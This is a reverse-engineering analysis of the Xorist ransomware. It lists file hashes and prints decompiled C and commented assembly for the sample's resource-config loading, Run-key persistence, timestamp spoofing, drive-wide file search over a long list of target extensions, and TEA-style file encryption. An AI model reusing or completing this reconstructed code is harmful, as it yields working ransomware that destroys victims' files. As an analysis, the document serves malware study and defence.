Xorist Ransomware
UPX Packing
The malware is a program compressed with UPX. We will simply decompress it using the UPX program.
And malware is a simple PE32 file from 2012 :)
- MD5: 8c244ebd49a18b4bfc0cf546ee42ee9f
- SHA-1: 653f4a37d6f66d6c2fc8551c1b31429db299c257
- SHA-256: 9ac20a04dc317e557f7d67a9cba24fea43b242654d83219dd73e0f0bdef2ff16
- Vhash: 014046551d5d60a013z10025hz204001gz
- Authentihash: 394052c0bb3b50de83e394a7584c6ca22abb59ab43423f3ab1ebde2fac644190
- Imphash: 0ee5d9cb6f5676c02853dce193d35794
- SSDEEP: 192:e/TrG62a6B10k3g4fXk1iTV3HGc7EkpAqEjvu2q9C/YpXnAITZfPtRMCy00T:eebFNw4Pk1itKkpAjjI2YpdmCy
- TLSH: T1C842290FFDE044E6E712C7F213172606CB7D7561A2A067266FAC2C15147A6E3EE6860F
- File type: Win32 EXE
- Magic: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
- TrID:
- Win32 Executable MS Visual C++ (generic) (47.2%)
- Win64 Executable (generic) (15.9%)
- Win32 Dynamic Link Library (generic) (9.9%)
- Win16 NE executable (generic) (7.6%)
- Win32 Executable (generic) (6.8%)
- File size: 12.00 KB (12288 bytes)
Analyze
Heap Process
hHeap = GetProcessHeap();
sub_401F87();
BOOL sub_401F87()
{
HRSRC ResourceA; // eax
DWORD v1; // eax
HGLOBAL Resource; // eax
SIZE_T *v3; // eax
SIZE_T *v4; // edi
SIZE_T v5; // ebx
SIZE_T *v6; // edi
LPVOID v7; // eax
SIZE_T *v8; // edi
SIZE_T v9; // ebx
SIZE_T *v10; // edi
const CHAR *v11; // eax
SIZE_T *v12; // edi
SIZE_T v13; // ebx
SIZE_T *v14; // edi
const CHAR *v15; // eax
SIZE_T v16; // edi
HRSRC hResInfo; // [esp+4h] [ebp-10h]
DWORD v19; // [esp+8h] [ebp-Ch]
HGLOBAL hResData; // [esp+Ch] [ebp-8h]
ResourceA = FindResourceA(0, (LPCSTR)0xE, (LPCSTR)2);
if ( !ResourceA )
goto LABEL_9;
hResInfo = ResourceA;
v1 = SizeofResource(0, ResourceA);
if ( !v1 )
goto LABEL_9;
v19 = v1;
Resource = LoadResource(0, hResInfo);
if ( !Resource )
goto LABEL_9;
hResData = Resource;
v3 = (SIZE_T *)LockResource(Resource);
if ( !v3 )
goto LABEL_9;
v4 = v3;
RtlMoveMemory(&dword_406DB9, v3, 16);
v4 += 4;
sub_40211B(v4, v19 - 16);
v5 = *v4;
v6 = v4 + 1;
v7 = HeapAlloc(hHeap, 8u, v5);
if ( !v7 )
goto LABEL_9;
dword_407519 = (int)v7;
RtlMoveMemory(v7, v6, v5);
v8 = (SIZE_T *)((char *)v6 + v5);
v9 = *v8;
v10 = v8 + 1;
v11 = (const CHAR *)HeapAlloc(hHeap, 8u, v9);
if ( !v11
|| (lpText = v11,
RtlMoveMemory(v11, v10, v9),
v12 = (SIZE_T *)((char *)v10 + v9),
v13 = *v12,
v14 = v12 + 1,
(v15 = (const CHAR *)HeapAlloc(hHeap, 8u, v13)) == 0) )
{
LABEL_9:
JUMPOUT(0x402330);
}
lpSubKey = v15;
RtlMoveMemory(v15, v14, v13);
v16 = (SIZE_T)v14 + v13;
RtlMoveMemory(&unk_406DC9, v16, 16);
v16 += 16;
RtlMoveMemory(&byte_407529, v16, 5);
v16 += 5;
RtlMoveMemory(byte_406DD9, v16, 16);
v16 += 16;
RtlMoveMemory(byte_406DE9, v16, 16);
v16 += 16;
RtlMoveMemory(&dword_407525, v16, 4);
v16 += 4;
RtlMoveMemory(&dword_4065A5, v16, 4);
v16 += 4;
RtlMoveMemory(&lDistanceToMove, v16, 4);
RtlMoveMemory(&nNumberOfBytesToRead, v16 + 4, 4);
return FreeResource(hResData);
}
This code is a Windows function that extracts and manipulates data from a resource embedded in the executable file. The extracted data is then copied to various memory locations for further processing.
Setup process
BOOL sub_402472()
{
HANDLE hFile; // [esp+0h] [ebp-4h]
GetWindowsDirectoryA(byte_40755E, 0x200u);
PathAddBackslashA(byte_40755E);
lstrcatA(byte_40755E, aExplorerExe);
hFile = CreateFileA(byte_40755E, 0x80000000, 1u, 0, 3u, 0, 0);
GetFileTime(hFile, &CreationTime, &LastAccessTime, &LastWriteTime);
return CloseHandle(hFile);
}
The malware will retrieve the creation/modification date information of explorer.exe located in the Windows directory. It will attempt to copy itself into the Temporary folder under the name QLUm8OR6vUIE1wP.exe. If successful, it will then transfer the same creation/modification date information retrieved earlier into its copy.
It will add a registry key to start itself upon each startup.
push myfile-ok.405950 ; "C:\\Users\\Admin\\AppData\\Local\\Temp\\QLUm8OR6vUIE1wP.exe"
push myfile-ok.4043D4 ; "Alcmeter"
push myfile-ok.4043A6 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
push 80000002 ;
call myfile-ok.402422 ;
push ebp
mov ebp,esp
add esp,FFFFFFF8
lea eax,dword ptr ss:[ebp-4]
push eax
lea eax,dword ptr ss:[ebp-8]
push eax
push 0
push 2001F
push 0
push myfile-ok.404379
push 0
push dword ptr ss:[ebp+C]
push dword ptr ss:[ebp+8]
call <JMP.&RegCreateKeyExA>
push dword ptr ss:[ebp+14]
call <JMP.&lstrlen>
push eax
push dword ptr ss:[ebp+14]
push 1
push 0
push dword ptr ss:[ebp+10]
push dword ptr ss:[ebp-8]
call <JMP.&RegSetValueExA>
push dword ptr ss:[ebp-8]
call <JMP.&RegCloseKey>
File infection
The malware will search all logical drives from Z:\ to A:\
LogicalDrives = GetLogicalDrives(); // Retrieve the list of available logical drives
v3 = 25; // Initialize v3 to 25 (corresponding to letter 'Z' in ASCII)
do {
// Check if the bit corresponding to the current drive letter is set
if ((LogicalDrives & (1 << v3)) != 0) {
BYTE1(dword_40444F) = v3 + 65; // Convert the drive index to ASCII drive letter (A-Z)
*(int *)((char *)&dword_40444F + 2) = 774528058; // An unknown operation with a constant value
byte_404455 = 42; // Assign a value to byte_404455
byte_404456 = 0; // Assign a value to byte_404456
v7 = LogicalDrives; // Save the value of LogicalDrives
sub_4013A8(v3); // Call a function sub_4013A8 with v3 as argument
v3 = v6; // Update v3 with the value returned by sub_4013A8
LogicalDrives = v7; // Restore the value of LogicalDrives
}
} while (--v3 >= 0); // Loop until v3 reaches 0
The function sub_4013A8 will be the one responsible for file search.
The general scheme looks like this:
It will search for files with the extension :
Extension | Extension | Extension | Extension | Extension | Extension | Extension | Extension |
---|---|---|---|---|---|---|---|
.zip | .rar | .7z | .tar | .gzip | .jpg | .jpeg | .psd |
.cdr | .dwg | .max | .bmp | .gif | .png | .doc | .docx |
.xls | .xlsx | .ppt | .pptx | .txt | .djvu | .vu | |
.htm | .html | .mdb | .cer | .p12 | .pfx | .kwm | .pwm |
.1cd | .md | .mdf | .dbf | .odt | .vob | .ifo | .lnk |
.torrent | .mov | .m2v | .3gp | .mpeg | .mpg | .flv | .avi |
.mp4 | .wmv | .divx | .mkv | .mp3 | .wav | .flac | .ape |
.wma | .ac3 |
When he goes to find a file, here are the steps for searching for files:
char *sub_4013A8()
{
char *result; // Result pointer
LPSTR FileNameA; // Pointer to file name
int v2; // Temporary variable
int v3; // Counter variable
const CHAR *v4; // Pointer to a constant string
BOOL matched; // Boolean flag for matching
char *v6; // Temporary pointer
CHAR v7; // Temporary character
int v8; // Counter variable
int *v9; // Pointer to an integer
int *v10; // Pointer to an integer
char v11; // Temporary character
char v12; // Temporary character
int v13; // Temporary integer variable
int v14; // Temporary integer variable
char FindFileData[322]; // Buffer for file data
// Call FindFirstFileA to find the first file in the directory
result = (char *)FindFirstFileA((LPCSTR)&dword_40444F + 1, (LPWIN32_FIND_DATAA)FindFileData) + 1;
// If a file is found
if (result)
{
*(_DWORD *)&FindFileData[318] = result - 1; // Store the result pointer in FindFileData
// Loop until all files are processed
while (1)
{
// If the file is a directory
if ((FindFileData[0] & 0x10) != 0)
{
// Check if the file name matches certain strings
if (lstrcmpA(asc_404032, &FindFileData[44]) &&
lstrcmpA(asc_404034, &FindFileData[44]))
{
// Extract the file name and concatenate it to the path
FileNameA = PathFindFileNameA((LPCSTR)&dword_40444F + 1);
v13 = FileNameA - ((char *)&dword_40444F + 1);
*FileNameA = 0;
lstrcatA((LPSTR)&dword_40444F + 1, &FindFileData[44]);
// Call sub_4013A8 recursively
v2 = lstrlenA((LPCSTR)&dword_40444F + 1);
*(int *)((char *)&dword_40444F + v2 + 1) = 707668572;
byte_404454[v2] = 0;
sub_4013A8();
*(int *)((char *)&dword_40444F + v13) = 707668572;
byte_404453[v13] = 0;
}
}
else
{
sub_401377();
// Check if the file name matches certain strings
if (lstrcmpiA(&String2, &FindFileData[44]) &&
lstrcmpiA(aHowToDecryptFi, &FindFileData[44]) &&
lstrcmpiA(String1, &FindFileData[44]))
{
// Manipulate file paths
*PathFindFileNameA((LPCSTR)&dword_40444F + 1) = 0;
// Additional processing based on certain conditions
if (byte_40752A == 1)
sub_40103A((LPCSTR)&dword_40444F + 1);
lstrcatA((LPSTR)&dword_40444F + 1, &FindFileData[44]);
if (byte_406550 != 1)
{
// Additional processing based on certain conditions
v3 = *(_DWORD *)dword_407519;
v4 = (const CHAR *)(dword_407519 + 4);
while (1)
{
v14 = v3;
matched = PathMatchSpecA((LPCSTR)&dword_40444F + 1, v4);
v4 += lstrlenA(v4) + 1;
if (matched)
break;
v3 = v14 - 1;
if (v14 == 1)
goto LABEL_37;
}
LABEL_19:
// Additional processing based on certain conditions
lstrcpyA(ExistingFileName, (LPCSTR)&dword_40444F + 1);
if (byte_406550)
{
if (byte_406550 == 1)
{
lstrcpyA(NewFileName, (LPCSTR)&dword_40444F + 1);
*PathFindExtensionA(NewFileName) = 0;
}
else
{
lstrcpyA(NewFileName, (LPCSTR)&dword_40444F + 1);
}
}
else
{
lstrcpyA(NewFileName, (LPCSTR)&dword_40444F + 1);
lstrcatA(NewFileName, asc_404032);
lstrcatA(NewFileName, lpSubKey);
}
// Additional file operations
v6 = (char *)CreateFileA(ExistingFileName, 0xC0000000, 3u, 0, 3u, 0, 0) + 1;
if (v6)
{
hFile = v6 - 1;
dword_406555 = GetFileSize(v6 - 1, 0);
// Check if the file size is greater than 8 bytes
if (dword_406555 >= 8)
{
// Retrieve the creation, last modification, and last access timestamps of the found file.
GetFileTime(hFile, &stru_40752E, &stru_407536, &stru_40753E);
SetFilePointer(hFile, lDistanceToMove, 0, 0);
ReadFile(hFile, (LPVOID)lpBuffer, nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0);
if (nNumberOfBytesToWrite)
{
// Jus take the name of file
v7 = *PathFindFileNameA(ExistingFileName);
v8 = 16;
v9 = &dword_406595;
v10 = &dword_406585;
do
{
v11 = *(_BYTE *)v9;
v9 = (int *)((char *)v9 + 1);
v12 = v7 ^ v11;
v7 = __ROL1__(v7, 1);
*(_BYTE *)v10 = v12;
v10 = (int *)((char *)v10 + 1);
--v8;
} while (v8);
if (byte_40752C)
{
if (byte_406550)
sub_401797();
else
sub_40177A();
}
else
{
sub_401748();
}
//
SetFilePointer(hFile, lDistanceToMove, 0, 0);
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
}
SetFileTime(hFile, &stru_40752E, &stru_407536, &stru_40753E);
CloseHandle(hFile);
MoveFileA(ExistingFileName, NewFileName);
}
else
{
CloseHandle(hFile);
}
}
LABEL_37:
;
}
if (!PathMatchSpecA((LPCSTR)&dword_40444F + 1, pszSpec))
goto LABEL_19;
}
}
LABEL_37:
// Call FindNextFileA to find the next file in the directory
if (!FindNextFileA(*(HANDLE *)&FindFileData[318], (LPWIN32_FIND_DATAA)FindFileData))
return (char *)FindClose(*(HANDLE *)&FindFileData[318]);
}
}
return result;
}
In each folder, it will place a file :
"Attention! All your files are encrypted! To decrypt your files and gain access, send an SMS with the text XXXX to number YYYY.
You have a set amount of time. After exceeding this amount, all data will irreversibly be lost. Be careful when entering the code!"
Once it finds a file, it will open it and verify that it is more than 8 bytes. If so, it will retrieve the creation/modification timestamp information of the file and then place it at the beginning of the file.
Then, it will read the file and perform an encryption operation. Just before that, it will retrieve the filename without the folder path:
call <JMP.&PathFindFileNameA> ; Call the function PathFindFileNameA
mov dl, byte ptr ds:[eax] ; Load a byte from the memory address pointed to by EAX into DL
mov ecx, 10 ; Load the decimal value 10 into the ECX register
mov esi, myfile-ok.406595 ; Load the address of the string "myfile-ok.406595" into ESI
mov edi, myfile-ok.406585 ; Load the address of the string "myfile-ok.406585" into EDI
lodsb ; Load a byte into AL from the address pointed to by ESI and increment ESI
xor al, dl ; Perform an XOR operation between AL and DL
rol dl, 1 ; Perform a left rotation of 1 bit on DL
stosb ; Store the content of AL at the address pointed to by EDI and increment EDI
loop myfile-ok.40168E ; Repeat the previous instructions as long as CX (loop counter) is not equal to zero
The encryption is done using the following algorithm:
; Partie 1
mov ebx, eax ; Copies la valeur de EAX dans EBX
shr ebx, 3 ; Décale à droite le contenu de EBX de 3 bits
test ebx, ebx ; Effectue un test logique entre EBX et lui-même
je myfile-ok.401796 ; Saut conditionnel si EBX est égal à zéro, vers l'adresse 401796
mov esi, dword ptr ds:[406559] ; Charge la valeur située à l'adresse mémoire 406559 dans ESI
push esi ; Empile la valeur de ESI sur la pile
push esi ; Empile la valeur de ESI sur la pile
call myfile-ok.4017EC ; Appelle la fonction située à l'adresse 4017EC
add esi, 8 ; Ajoute 8 à la valeur de ESI
dec ebx ; Décrémente EBX de 1
jne myfile-ok.401789 ; Saut conditionnel si EBX n'est pas égal à zéro, vers l'adresse 401789
ret ; Retourne à l'appelant
; Partie 2
push ebp ; Sauvegarde la valeur de EBP sur la pile
mov ebp, esp ; Initialise EBP avec ESP
push edi ; Sauvegarde la valeur de EDI sur la pile
push esi ; Sauvegarde la valeur de ESI sur la pile
push ebx ; Sauvegarde la valeur de EBX sur la pile
mov esi, dword ptr ss:[ebp+8] ; Charge la valeur située à l'adresse [EBP + 8] dans ESI
mov eax, dword ptr ds:[esi] ; Charge la valeur située à l'adresse pointée par ESI dans EAX
mov edx, dword ptr ds:[esi+4] ; Charge la valeur située à l'adresse pointée par ESI + 4 dans EDX
xor ebx, ebx ; Initialise EBX à zéro
bswap eax ; Effectue un échange de l'ordre des octets dans EAX
bswap edx ; Effectue un échange de l'ordre des octets dans EDX
add ebx, 9E3779B9 ; Ajoute la constante 9E3779B9 à EBX
mov ecx, edx ; Copie le contenu de EDX dans ECX
shl ecx, 4 ; Décale à gauche le contenu de ECX de 4 bits
mov edi, edx ; Copie le contenu de EDX dans EDI
lea esi, dword ptr ds:[ebx+edx] ; Calcule l'adresse effective [EBX + EDX] et la place dans ESI
add ecx, dword ptr ds:[406585] ; Ajoute la valeur située à l'adresse 406585 à ECX
shr edi, 5 ; Décale à droite le contenu de EDI de 5 bits
xor ecx, esi ; Effectue un XOR entre ECX et ESI
add edi, dword ptr ds:[406589] ; Ajoute la valeur située à l'adresse 406589 à EDI
xor ecx, edi ; Effectue un XOR entre ECX et EDI
add eax, ecx ; Ajoute ECX à EAX
mov ecx, eax ; Copie le contenu de EAX dans ECX
shl ecx, 4 ; Décale à gauche le contenu de ECX de 4 bits
mov edi, eax ; Copie le contenu de EAX dans EDI
lea esi, dword ptr ds:[ebx+eax] ; Calcule l'adresse effective [EBX + EAX] et la place dans ESI
add ecx, dword ptr ds:[40658D] ; Ajoute la valeur située à l'adresse 40658D à ECX
shr edi, 5 ; Décale à droite le contenu de EDI de 5 bits
xor ecx, esi ; Effectue un XOR entre ECX et ESI
add edi, dword ptr ds:[406591] ; Ajoute la valeur située à l'adresse 406591 à EDI
xor ecx, edi ; Effectue un XOR entre ECX et EDI
add edx, ecx ; Ajoute ECX à EDX
add ebx, 9E3779B9 ; Ajoute la constante 9E3779B9 à EBX
mov ecx, edx ; Copie le contenu de EDX dans ECX
shl ecx, 4 ; Décale à gauche le contenu de ECX de 4 bits
mov edi, edx ; Copie le contenu de EDX dans EDI
lea esi, dword ptr ds:[ebx+edx] ; Calcule l'adresse effective [EBX + EDX] et la place dans ESI
add ecx, dword ptr ds:[406585] ; Ajoute la valeur située à l'adresse 406585 à ECX
shr edi, 5 ; Décale à droite le contenu de EDI de 5 bits
xor ecx, esi ; Effectue un XOR entre ECX et ESI
add edi, dword ptr ds:[406589] ; Ajoute la valeur située à l'adresse 406589 à EDI
xor ecx, edi ; Effectue un XOR entre ECX et EDI
add eax, ecx ; Ajoute ECX à EAX
mov ecx, 9E3779B9 ; Charge la constante 9E3779B9 dans ECX
imul ecx, dword ptr ds:[4065A5] ; Multiplie ECX par la valeur située à l'adresse 4065A5
cmp ebx, ecx ; Compare EBX et ECX
jne myfile-ok.401800 ; Saut conditionnel si EBX n'est pas égal à ECX, vers l'adresse 401800
bswap eax ; Effectue un échange de l'ordre des octets dans EAX
bswap edx ; Effectue un échange de l'ordre des octets dans EDX
mov esi, dword ptr ss:[ebp+C] ; Charge la valeur située à l'adresse [EBP + C] dans ESI
mov dword ptr ds:[esi], eax ; Stocke la valeur de EAX à l'adresse pointée par ESI
mov dword ptr ds:[esi+4], edx ; Stocke la valeur de EDX à l'adresse pointée par ESI + 4
pop ebx ; Restaure la valeur de EBX
pop esi ; Restaure la valeur de ESI
pop edi ; Restaure la valeur de EDI
leave ; Restaure ESP à partir de EBP et EBP à partir de la pile
ret 8 ; Retourne à l'appelant en déplaçant
Here’s how a file looks like before and after encryption.
The malware then writes to the file at the beginning of the file, restores the creation/modification timestamp information it had recorded before, closes the file, and renames it by adding the .EnCiPhErEd extension.